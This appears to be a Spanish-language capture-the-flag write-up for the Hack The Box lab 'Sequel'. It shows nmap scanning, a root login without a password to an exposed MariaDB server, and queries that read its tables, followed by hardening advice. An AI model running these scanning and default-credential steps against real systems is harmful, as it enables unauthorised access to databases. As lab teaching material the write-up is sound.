Skip to content

Sequel ​

SistemaLinux
DificultadMuy fácil
EstadoStarting Point
Puertos3306

Un servidor MySQL expuesto a la red permite entrar como root sin contraseña.

Reconocimiento ​

bash
nmap -p- --min-rate 5000 -oN puertos.txt <IP>
nmap -sCV -p3306 <IP>

Solo hay un puerto abierto: 3306. El segundo escaneo muestra que en realidad es MariaDB 10.3.27, un derivado de MySQL que usa el mismo cliente y los mismos comandos.

Acceso inicial ​

El cliente de MySQL usa -h para el host y -u para el usuario. Pruebo con root sin contraseña, que es una mala configuración muy común:

bash
mysql -h <IP> -u root --skip-ssl

Entra directamente.

Explorar la base de datos ​

sql
SHOW DATABASES;
USE htb;
SHOW TABLES;
SELECT * FROM users;
SELECT * FROM config;
  • SHOW DATABASES lista las bases de datos. Aparecen las del sistema (information_schema, mysql, performance_schema) y una propia: htb.
  • Dentro de htb hay dos tablas: users y config.
  • * significa "todas las columnas".

users solo tiene nombres y correos. La flag está en config.

Lo que me llevo ​

  • Un servicio de base de datos nunca debería estar expuesto a internet.
  • Hay que probar siempre root sin contraseña y credenciales por defecto.

Cómo se arregla ​

  • Poner contraseña fuerte al usuario root y no permitir acceso remoto con él.
  • Escuchar solo en 127.0.0.1 (bind-address) o filtrar el puerto 3306 con firewall.

Contenido propio con fines educativos. Sin flags ni material de exámenes.